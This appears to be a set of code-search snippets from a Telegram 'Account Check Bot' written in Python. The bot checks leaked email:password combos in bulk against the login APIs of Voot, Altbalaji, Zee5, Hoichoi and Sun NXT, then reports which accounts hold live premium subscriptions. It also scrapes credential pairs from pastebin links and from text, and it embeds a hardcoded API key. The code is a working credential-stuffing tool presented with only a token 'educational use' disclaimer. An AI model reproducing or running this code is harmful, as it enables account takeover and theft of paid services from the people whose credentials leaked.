Ejemplo n.º 1
0
def Voot_helper(chat_id, combo):
    status = Sendmessage(chat_id, '<i>Checking...</i>')
    try:
        combo_split = combo.split(':')
        inpumail = combo_split[0]
        inpupass = combo_split[1]
    except IndexError:
        return Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
    session_requests = requests.session()
    email = f'"email": "{inpumail}"'
    password = f'"password":"******"'
    payload = '{"type":"traditional","deviceId":"X11","deviceBrand":"PC/MAC","data":{%s,%s}}' % (
        email, password)

    login_url = "https://userauth.voot.com/usersV3/v3/login"

    result = session_requests.post(login_url, data=payload, headers=head)
    response = result.json()
    if result.status_code != 200:
        logger.info('Login Failed')
        code = response['status']['code']
        msg = response['status']['message']
        text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Voot</b>'
        Editmessage(chat_id, text, status)
        return
    acess = response['data']['authToken']['accessToken']
    head2 = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'sec-fetch-site': 'same-site',
        'sec-fetch-mode': 'cors',
        'sec-fetch-dest': 'empty',
        'accesstoken': str(acess),
    }
    subs_url = 'https://pxapi.voot.com/smsv4/int/ps/v1/voot/transaction/list'
    response = session_requests.get(subs_url, headers=head2)
    result = response.json()
    total = result['results']['total']
    if int(total) == 0:
        free_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>'
        Editmessage(chat_id, free_text, status)
        return
    pay_list = result['results']['list'][0]
    ts = int(pay_list['endDate']['timeStamp'])
    print(ts)
    try:
        human = datetime.utcfromtimestamp(ts)
    except ValueError:
        human = datetime.fromtimestamp(ts/1000.0)
    expire = human < datetime.today()
    if expire:
        expire_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>'
        Editmessage(chat_id, expire_text, status)
        return
    Pack_name = pay_list['itemDetails']['name']
    Pack_recur = pay_list['itemDetails']['isRenewable']
    days = human - datetime.today()
    pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {Pack_name}\nDays Left: {days.days}\nRecurring: {Pack_recur}</b>'
    Editmessage(chat_id, pro_message, status)
Ejemplo n.º 2
0
def start(update, context):
    info = update.effective_user
    print(info)
    chat_id = info.id
    userid = info['username']
    text = f'Welcome @{userid}, To Account Check Bot, to know more use /help or read the telegraph below. This bot is provided for educational use only, any misuse then you should be responsible'
    Sendmessage(chat_id, text, reply_markup=InlineKeyboardMarkup(startmessage))
    return
Ejemplo n.º 3
0
def pastebin(chat_id, link):
    response = requests.get(link)
    soup = BeautifulSoup(response.content, 'html.parser')
    text = soup.find('textarea', 'textarea').text
    lst = re.findall('\S+@\S+.\S+:\S+', str(text))
    sperator = '\n'
    cleared = sperator.join(lst)
    Sendmessage(chat_id, cleared)
Ejemplo n.º 4
0
def altbalaji_helper(chat_id, combo):
    status = Sendmessage(chat_id, '<i>Checking...</i>')
    try:
        combo_split = combo.split(':')
        inpumail = combo_split[0]
        inpupass = combo_split[1]
    except IndexError:
        return Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
    email = f'"username":"******"'
    password = f'"password":"******"'

    session_request = requests.Session()
    url = 'https://api.cloud.altbalaji.com/accounts/login?domain=IN'
    payload = '{%s,%s}' % (email, password)
    response = session_request.post(url, data=payload)
    result = response.json()
    if response.status_code != 200:
        state = result['status']
        code = result['code']
        messg = result['message']
        text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {state}\nCode: {code}\nMessage: {messg}\nSite: Altbalaji</b>'
        Editmessage(chat_id, text, status)
        return
    session_token = result['session_token']
    subs_url = 'https://payment.cloud.altbalaji.com/accounts/orders?limit=1&domain=IN'
    head2 = {
        'user-agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
        'accept': 'application/json, text/plain, */*',
        'sec-fetch-site': 'same-site',
        'sec-fetch-mode': 'cors',
        'sec-fetch-dest': 'empty',
        'content-type': 'application/json',
        'xssession': str(session_token),
    }
    response = session_request.get(subs_url, headers=head2)
    result = response.json()
    if result['orders'] == []:
        expired_text = f'<b>Free Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Free</b>'
        Editmessage(chat_id, expired_text, status)
        return
    validto = result['orders'][0]['dates']['valid_to']
    validtosplit = validto.split('T')[0]
    sub2split = validtosplit.split('-')
    trial = date(int(sub2split[0]), int(sub2split[1]), int(
        sub2split[2])) < date.today()
    if trial:
        free_text = f'<b>Expired Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired/Free</b>'
        Editmessage(chat_id, free_text, status)
        return
    days = date(int(sub2split[0]), int(sub2split[1]), int(
        sub2split[2])) - date.today()
    subscription = result['orders'][0]['product']['titles']
    Pack_name = subscription['default']
    Pack_recur = str(result['orders'][0]['product']['recurring'])
    Pack_date = subscription['en']
    pro_message = f'<b>🌟 Hit Combo @B0RNTOLE4RN 💫</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {Pack_name}\nType: {Pack_date}\nDays Left: {days.days}\nRecurring: {Pack_recur.capitalize()}</b>'
    Editmessage(chat_id, pro_message, status)
Ejemplo n.º 5
0
def duty(update, context):
    chat_id = update.message.chat_id
    text = update.message.text.split(' ', 1)
    if text[0] == '!alt':
        if '\n' in text[1]:
            simple = combos_spilt(text[1])
            for i in simple:
                altbalaji_helper(chat_id, i)
            Sendmessage(chat_id, 'Completed')
        else:
            altbalaji_helper(chat_id, text[1])
    elif text[0] == '!voo':
        if '\n' in text[1]:
            simple = combos_spilt(text[1])
            for i in simple:
                Voot_helper(chat_id, i)
            Sendmessage(chat_id, 'Completed')
        else:
            Voot_helper(chat_id, text[1])
    elif text[0] == '!hoi':
        if '\n' in text[1]:
            simple = combos_spilt(text[1])
            for i in simple:
                hoichoi_helper(chat_id, i)
            Sendmessage(chat_id, 'Completed')
        else:
            hoichoi_helper(chat_id, text[1])
    elif text[0] == '!zee':
        if '\n' in text[1]:
            simple = combos_spilt(text[1])
            for i in simple:
                zee_helper(chat_id, i)
            Sendmessage(chat_id, 'Completed')
        else:
            zee_helper(chat_id, text[1])
    elif text[0] == '!pst':
        try:
            throwbin(chat_id, text[1])
        except IndexError:
            Sendmessage(chat_id, "<i>Somethings wrong with your format!</i>")
    else:
        logger.info('Unknown Command')
Ejemplo n.º 6
0
def zee_helper(chat_id, combo):
    status = Sendmessage(chat_id, '<i>Checking....</i>')
    try:
        combo_split = combo.split(':')
        inpumail = combo_split[0]
        inpupass = combo_split[1]
    except IndexError:
        Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
        return
    session_requests = requests.session()
    email = f'"email": "{inpumail}"'
    password = f'"password":"******"'
    payload = '{%s,%s}' % (email, password)
    login_url = "https://userapi.zee5.com/v2/user/loginemail"
    result = session_requests.post(login_url, data=payload, headers=head)
    response = result.json()
    if result.status_code != 200:
        logger.info('Login Failed')
        code = response['code']
        msg = response['message']
        text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Zee5</b>'
        Editmessage(chat_id, text, status)
        return
    acess = response['access_token']
    head2 = {
        'user-agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
        'accept': '*/*',
        'sec-fetch-site': 'same-site',
        'sec-fetch-mode': 'cors',
        'sec-fetch-dest': 'empty',
        'authorization': 'bearer ' + str(acess),
    }
    subs_url = 'https://subscriptionapi.zee5.com/v1/subscription?translation=en&country=IN&include_all=flase'
    response1 = session_requests.get(subs_url, headers=head2)
    result1 = response1.json()
    # print(result1)
    if result1 == []:
        expire_text = f'<b>Expired Combo �</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>'
        Editmessage(chat_id, expire_text, status)
        return
    timedioint = result1[0]["subscription_end"].split('T')[0]
    sub2split = timedioint.split('-')
    trial = date(int(sub2split[0]), int(sub2split[1]), int(
        sub2split[2])) - date.today()
    Pack_name = result1[0]['subscription_plan']['title']
    pack_price = str(result1[0]['subscription_plan']['price'])
    Pack_recur = result1[0]['recurring_enabled']
    Pack_pyed = result1[0]['payment_provider']
    pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Plan: {Pack_name}\nPrice: {pack_price} INR\nDays Left: {trial.days} Days\nPayment: {Pack_pyed}\nRecurring: {Pack_recur}</b>'
    # print(pro_message)
    Editmessage(chat_id, pro_message, status)
Ejemplo n.º 7
0
def scraperdfnc(update, context):
    msg = update.message.text
    status_msg = update.message
    chat_id = status_msg.chat_id
    try:
        if 'pastebin' in msg:
            link = msg.split(' ')[1]
            pastebin(chat_id,link)
        else:
            scrape_text = status_msg['reply_to_message']['text']
            text_scraper(chat_id, scrape_text)
    except:
        Sendmessage(chat_id, 'Only Supports pastebin, please check if you send paste bin link')
Ejemplo n.º 8
0
def throwbin(chat_id, text):
    msg = Sendmessage(chat_id, '<i>Pasting...</i>')
    try:
        real = text.split('|')
        title = real[0]
        real_text = real[1]
    except IndexError:
        real_text = text
        title = '@B0RNTOLE4RN'
    tb = ThrowBin()
    my_paste = tb.post(title=title, text=real_text, syntax="text")
    print(f"Status {my_paste.status} | Link: {my_paste.link}")
    msg_txt = f'<b>Pasted ✅\nStatus: {my_paste.status}\nLink: {my_paste.link}</b>'
    Editmessage(chat_id, msg_txt, msg)
Ejemplo n.º 9
0
def hoichoi_helper(chat_id, combo):
    status = Sendmessage(chat_id, '<i>Checking...</i>')
    try:
        combo_split = combo.split(':')
        inpumail = combo_split[0]
        inpupass = combo_split[1]
    except IndexError:
        print(combo)
        Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
        return
    email = f'"email":"{inpumail}"'
    password = f'"password":"******"'
    session_request = requests.Session()
    url = 'https://prod-api.viewlift.com/identity/signin?site=hoichoitv&deviceId=browser-f76c181a-94b5-11eb-a8b3-0242ac130003'
    payload = '{%s,%s}' % (email, password)
    response = session_request.post(url, headers=head, data=payload)
    result = response.json()
    if response.status_code != 200:
        code = result['code']
        messg = result['error']
        text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Code: {code}\nMessage: {messg}\nSite: Hoichoi</b>'
        Editmessage(chat_id, text, status)
        return
    elif result['isSubscribed'] == False:
        free_text = f'<b>Expired Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired/Free</b>'
        Editmessage(chat_id, free_text, status)
        return
    user_token = result['authorizationToken']
    head2 = {
        'user-agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
        'accept': 'application/json, text/plain, */*',
        'authorization': user_token,
        'origin': 'https://www.hoichoi.tv',
        'referer': 'https://www.hoichoi.tv/',
        'x-api-key': 'PBSooUe91s7RNRKnXTmQG7z3gwD2aDTA6TlJp6ef'
    }
    url2 = 'https://prod-api.viewlift.com/subscription/user?site=hoichoitv&userId=f76c181a-94b5-11eb-a8b3-0242ac130003'
    session2 = session_request.get(url2, headers=head2)
    result2 = session2.json()
    timedioint = result2["subscriptionInfo"]["subscriptionEndDate"].split(
        'T')[0]
    sub2split = timedioint.split('-')
    trial = date(int(sub2split[0]), int(sub2split[1]), int(
        sub2split[2])) - date.today()
    pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Hoichoi</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {result2["subscriptionPlanInfo"]["name"]}\nDays Left: {trial.days}\nRecurring: {result2["subscriptionPlanInfo"]["renewable"]}</b>'
    Editmessage(chat_id, pro_message, status)
    return
Ejemplo n.º 10
0
def Sun_helper(chat_id, combo):
    status = Sendmessage(chat_id, '<i>Checking...</i>')
    try:
        combo_split = combo.split(':')
        email = combo_split[0]
        password = combo_split[1]
    except IndexError:
        print(combo)
        Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
        return
    head["x-csrf-token"] = crsf_token
    head["x-requested-with"] = 'XMLHttpRequest'
    head["accept"] = "application/json, text/plain, */*"
    head["content-type"] = "application/json;charset=UTF-8"
    ipu_mail = f'"email": "{email}"'
    ipu_pass = f'"password": "******"'
    payload = '{%s,%s}' % (ipu_mail, ipu_pass)
    req2 = requests.post("https://www.sunnxt.com/login",
                         headers=head,
                         data=payload)
    resonse = req2.json()
    if req2.status_code != 200:
        text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {req2.status_code}\nMessage: {resonse["error"]}\nSite: Sun NXT</b>'
        Editmessage(chat_id, text, status)
        return
    profile = json.loads(resonse["profile"])
    pack_active = profile["result"]["profile"]["subscriptionStatus"]
    if pack_active == "Expired" or pack_active == "Inactive":
        free_text = f'<b>Free/Expired Combo �</b>\n<b>Site: Sun NXT</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {pack_active}</b>'
        Editmessage(chat_id, free_text, status)
        return
    pack_name = resonse["userSubscriptions"]["results"][0]["displayName"]
    date = resonse["userSubscriptions"]["results"][0]["validityEndDate"]
    pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Sun NXT</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {pack_active}\nPlan: {pack_name}\nExpire On: {date}</b>'
    Editmessage(chat_id, pro_message, status)
    return
Ejemplo n.º 11
0
def help(update, context):
    chat_id = update.message.chat_id
    text = "<b>Available Sites:\n!alt~space~combo* - to check Altbalaji accounts\n!hoi~space~combo* - to check Hoichoi accounts\n!voo~space~combo* - to check Voot accounts\n!zee~space~combo* - to check Zee5 accounts\n\nMiscellaneous:-\n!pst~space~title|text - to paste text on Throwbin.io and get paste link</b>(If you don't want to give title then skip it just send the text)\n\n*combo here means Email:password combination,':' is important."
    Sendmessage(chat_id, text, reply_markup=InlineKeyboardMarkup(startmessage))
Ejemplo n.º 12
0
def text_scraper(chat_id, text):
    lst = re.findall('\S+@\S+.\S+:\S+', str(text))
    sperator = '\n'
    cleared = sperator.join(lst)
    Sendmessage(chat_id, cleared)